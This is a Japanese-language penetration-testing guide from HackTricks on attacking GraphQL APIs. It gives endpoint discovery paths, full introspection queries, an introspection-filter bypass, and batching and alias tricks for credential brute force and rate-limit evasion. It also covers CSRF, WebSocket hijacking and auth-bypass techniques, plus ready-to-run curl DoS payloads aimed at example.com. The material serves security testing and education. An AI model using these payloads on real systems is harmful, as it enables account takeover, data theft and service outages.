GraphQL
Reading time: 43 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Introduction
GraphQLは効率的な代替手段として強調されており、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは単一のリクエストで必要なすべての情報を取得することを可能にします。この簡素化は、データ取得プロセスの複雑さを軽減することにより、開発者に大きな利益をもたらします。
GraphQLとセキュリティ
GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も出現します。重要な点は、GraphQLはデフォルトで認証メカニズムを含まないということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。
ディレクトリブルートフォース攻撃とGraphQL
露出したGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されます。これらのパスは次のとおりです:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査することができます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:GraphQL: A query language for APIs.
フィンガープリンティング
ツールgraphw00fは、サーバーで使用されているGraphQLエンジンを検出し、セキュリティ監査人に役立つ情報を印刷することができます。
ユニバーサルクエリ
URLがGraphQLサービスであるかどうかを確認するために、ユニバーサルクエリ query{__typename}
を送信できます。レスポンスに{"data": {"__typename": "Query"}}
が含まれている場合、そのURLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、クエリされたオブジェクトのタイプを明らかにするGraphQLの__typename
フィールドに依存しています。
query{__typename}
基本列挙
Graphqlは通常、GET、POST (x-www-form-urlencoded) および POST(json) をサポートしています。ただし、セキュリティのために、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。
インストロスペクション
スキーマ情報を発見するためにインストロスペクションを使用するには、__schema
フィールドをクエリします。このフィールドはすべてのクエリのルートタイプで利用可能です。
query={__schema{types{name,fields{name}}}}
このクエリを使用すると、使用されているすべてのタイプの名前を見つけることができます:
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
このクエリを使用すると、すべてのタイプ、そのフィールド、および引数(および引数のタイプ)を抽出できます。これは、データベースをクエリする方法を知るのに非常に役立ちます。
エラー
エラーが表示されるかどうかを知ることは興味深いです。これは有用な情報に貢献します。
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
インテロスペクションを介してデータベーススキーマを列挙する
note
インテロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から onOperation
、onFragment
、および onField
ディレクティブを削除してみてください。
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
インラインインスペクションクエリ:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
最後のコード行は、graphqlからすべてのメタ情報(オブジェクト名、パラメータ、タイプなど)をダンプするgraphqlクエリです。
イントロスペクションが有効になっている場合、GraphQL Voyagerを使用して、GUIですべてのオプションを表示できます。
クエリ
データベースにどのような情報が保存されているかがわかったので、いくつかの値を抽出してみましょう。
イントロスペクションでは、どのオブジェクトを直接クエリできるかを見つけることができます(オブジェクトが存在するからといって、クエリできるわけではありません)。次の画像では、"queryType"が"Query"と呼ばれ、"Query"オブジェクトのフィールドの1つが"flags"であり、これもオブジェクトのタイプであることがわかります。したがって、フラグオブジェクトをクエリできます。
"flags"のクエリのタイプは"Flags"であり、このオブジェクトは以下のように定義されています:
"Flags"オブジェクトはnameとvalueで構成されていることがわかります。次に、クエリを使用してフラグのすべての名前と値を取得できます:
query={flags{name, value}}
次の例のように、クエリするオブジェクトがプリミティブ****タイプ(例えば文字列)の場合は、次のようにクエリできます。
query = { hiddenFlags }
別の例では、"Query" タイプオブジェクトの中に "user" と "users" の 2 つのオブジェクトがありました。
これらのオブジェクトが検索に引数を必要としない場合、必要なデータを 要求する だけで すべての情報を取得 できます。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます:
しかし、この例ではそうしようとすると エラー が発生します:
どうやら、"uid" 引数のタイプ Int を使用して検索するようです。
とにかく、私たちはすでに、Basic Enumeration セクションで、必要な情報をすべて表示するクエリが提案されていることを知っていました: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
提供された画像を読むと、そのクエリを実行したときに "user" にタイプ Int の arg "uid" があったことがわかります。
したがって、軽い uid ブルートフォースを実行したところ、_uid=1 でユーザー名とパスワードが取得されました:
query={user(uid:1){user,password}}
私は、パラメータ "user" と "password" を要求できることを 発見 したことに注意してください。なぜなら、存在しないものを探そうとすると (query={user(uid:1){noExists}}
) このエラーが発生するからです:
そして、列挙フェーズの間に、"dbuser" オブジェクトが "user" と "password" をフィールドとして持っていることを発見しました。
クエリ文字列ダンプトリック(@BinaryShadow_ に感謝)
文字列タイプで検索できる場合、例えば: query={theusers(description: ""){username,password}}
とし、空の文字列を 検索 すると、すべてのデータが ダンプ されます。 (この例はチュートリアルの例とは関係ありません。この例では、"theusers" を "description" という文字列フィールドで検索できると仮定してください)。
検索
このセットアップでは、データベースには 人 と 映画 が含まれています。 人 はその メール と 名前 で識別され、映画 はその 名前 と 評価 で識別されます。 人 は互いに友達になったり、映画を持ったりでき、データベース内の関係を示します。
名前 で人を 検索 し、彼らのメールを取得できます:
{
searchPerson(name: "John Doe") {
email
}
}
人を名前で検索し、彼らの登録した映画を取得できます:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
subscribedMovies
のname
を取得する方法に注意してください。
同時に複数のオブジェクトを検索することもできます。この場合、2つの映画を検索します:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
またはエイリアスを使用した複数の異なるオブジェクトの関係:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
ミューテーションはサーバー側で変更を加えるために使用されます。
イントロスペクションでは、宣言された ミューテーションを見つけることができます。次の画像では、"MutationType"は"Mutation"と呼ばれ、"Mutation"オブジェクトにはミューテーションの名前(この場合は"addPerson"など)が含まれています:
このセットアップでは、データベースには人物と映画が含まれています。人物はそのメールと名前で識別され、映画はその名前と評価で識別されます。人物は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。
データベース内に新しい映画を作成するためのミューテーションは、次のようになります(この例ではミューテーションはaddMovie
と呼ばれます):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
クエリ内で値とデータの型がどのように示されているかに注意してください。
さらに、データベースは addPerson
という名前の mutation 操作をサポートしており、これにより persons の作成と既存の friends および movies との関連付けが可能になります。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
ディレクティブのオーバーロード
このレポートで説明されている脆弱性の一つによれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。
1つのAPIリクエストでのバッチブルートフォース
この情報はhttps://lab.wallarm.com/graphql-batching-attack/から取得されました。
異なる認証情報で多くのクエリを同時に送信することでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、HTTPリクエストごとに1つ以上のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。
以下は、同時に3つの異なるメール/パスワードペアを使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です:
レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。2番目のミューテーションは正しい認証データを持ち、レスポンスには正しい認証セッショントークンが含まれています。
インストロスペクションなしのGraphQL
ますます多くのgraphqlエンドポイントがインストロスペクションを無効にしています。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、clairvoyanceのようなツールがスキーマの大部分を再構築するのに十分です。
さらに、Burp Suite拡張機能GraphQuailは、Burpを通過するGraphQL APIリクエストを観察し、新しいクエリを見るたびに内部GraphQLスキーマを構築します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細についてはこちらを確認してください。
素晴らしいワードリストは、GraphQLエンティティを発見するためにここにあります。
GraphQLインストロスペクション防御の回避
APIのインストロスペクションクエリに対する制限を回避するために、__schema
キーワードの後に特殊文字を挿入することが効果的です。この方法は、インストロスペクションをブロックすることを目的とした正規表現パターンにおける一般的な開発者の見落としを利用します。GraphQLが無視するが正規表現では考慮されない可能性のあるスペース、改行、カンマのような文字を追加することで、制限を回避できます。たとえば、__schema
の後に改行を含むインストロスペクションクエリは、そのような防御を回避する可能性があります:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
成功しない場合は、GETリクエストや**x-www-form-urlencoded
を使用したPOST**などの代替リクエストメソッドを検討してください。制限がPOSTリクエストのみに適用される可能性があります。
WebSocketsを試す
このトークで述べたように、WebSocketsを介してgraphQLに接続できるかどうかを確認してください。これにより、潜在的なWAFを回避し、WebSocket通信がgraphQLのスキーマを漏洩させる可能性があります。
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
露出したGraphQL構造の発見
イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールのSources
タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に露出した機密クエリを明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
GraphQLにおけるCSRF
CSRFが何か分からない場合は、以下のページを読んでください:
CSRF (Cross Site Request Forgery)
外には、CSRFトークンなしで構成されたいくつかのGraphQLエンドポイントを見つけることができます。
GraphQLリクエストは通常、Content-Type **application/json
**を使用してPOSTリクエストで送信されることに注意してください。
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
しかし、ほとんどのGraphQLエンドポイントは**form-urlencoded
POSTリクエスト**もサポートしています:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
したがって、前述のようなCSRFリクエストはプレフライトリクエストなしで送信されるため、CSRFを悪用してGraphQLに変更を加えることが可能です。
ただし、Chromeのsamesite
フラグの新しいデフォルトクッキー値はLax
であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。
通常、クエリ リクエストをGET リクエストとして送信することも可能であり、GETリクエストではCSRFトークンが検証されない可能性があることに注意してください。
また、XS-Search 攻撃を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。
詳細については、こちらの元の投稿を確認してください。
GraphQLにおけるクロスサイトWebSocketハイジャック
GraphQLのCRSF脆弱性を悪用するのと同様に、保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能です。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。
詳細については、以下を確認してください:
GraphQLにおける認可
エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみを確認し、認可は確認しない場合があります。
クエリ入力変数を変更すると、機密アカウントの詳細が漏洩する可能性があります。
ミューテーションは、他のアカウントデータを変更しようとすることでアカウントの乗っ取りにつながる可能性があります。
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
GraphQLにおける認証バイパス
クエリのチェイニングを行うことで、弱い認証システムをバイパスすることができます。
以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするために、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
GraphQLにおけるエイリアスを使用したレート制限のバイパス
GraphQLでは、エイリアスはAPIリクエストを行う際にプロパティを明示的に命名することを可能にする強力な機能です。この機能は、同じタイプのオブジェクトの複数のインスタンスを単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。
GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: Aliases。
エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐためにHTTPリクエストの数を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用することで、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。
以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
GraphQLにおけるDoS
エイリアスのオーバーロード
エイリアスのオーバーロードは、攻撃者が同じフィールドに対して多くのエイリアスでクエリをオーバーロードし、バックエンドリゾルバがそのフィールドを繰り返し実行するGraphQLの脆弱性です。これによりサーバーリソースが圧倒され、**サービス拒否(DoS)**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(expensiveField
)がエイリアスを使用して1,000回要求され、バックエンドがそれを1,000回計算することを強制され、CPUやメモリが枯渇する可能性があります:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
この問題を軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。
配列ベースのクエリバッチ処理
配列ベースのクエリバッチ処理は、GraphQL APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が同時に大量のクエリを送信できるようになります。これにより、すべてのバッチ処理されたクエリが並行して実行され、バックエンドが圧倒され、過剰なリソース(CPU、メモリ、データベース接続)を消費し、最終的には**サービス拒否(DoS)**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを悪用してサービスの可用性を低下させることができます。
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーがそれらを同時に実行することを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になります。
ディレクティブオーバーローディング脆弱性
ディレクティブオーバーローディングは、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することでこれを悪用し、高い計算またはメモリ使用を引き起こし、**サービス拒否(DoS)**につながる可能性があります。
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
前の例では、@aa
は宣言されていない可能性のあるカスタムディレクティブです。通常存在する一般的なディレクティブは @include
です:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
すべての宣言されたディレクティブを発見するために、イントロスペクションクエリを送信することもできます:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
そしてカスタムのいくつかを使用します。
フィールド重複脆弱性
フィールド重複は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は何百または何千もの繰り返されたフィールドを持つクエリを作成でき、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
ツール
脆弱性スキャナー
- https://github.com/dolevf/graphql-cop: graphql エンドポイントの一般的な誤設定をテストします
- https://github.com/assetnote/batchql: バッチ GraphQL クエリとミューテーションの実行に焦点を当てた GraphQL セキュリティ監査スクリプト。
- https://github.com/dolevf/graphw00f: 使用されている graphql のフィンガープリンティング
- https://github.com/gsmith257-cyber/GraphCrawler: スキーマを取得し、機密データを検索し、認可をテストし、スキーマをブルートフォースし、特定のタイプへのパスを見つけるために使用できるツールキット。
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: スタンドアロンまたは Burp 拡張機能 として使用できます。
- https://github.com/swisskyrepo/GraphQLmap: CLI クライアントとしても使用でき、攻撃を自動化します:
python3 graphqlmap.py -u http://example.com/graphql --inject
- https://gitlab.com/dee-see/graphql-path-enum: GraphQL スキーマ内の特定のタイプに到達するさまざまな方法をリストするツール。
- https://github.com/doyensec/GQLSpection: InQL のスタンドアロンおよび CLI モードの後継
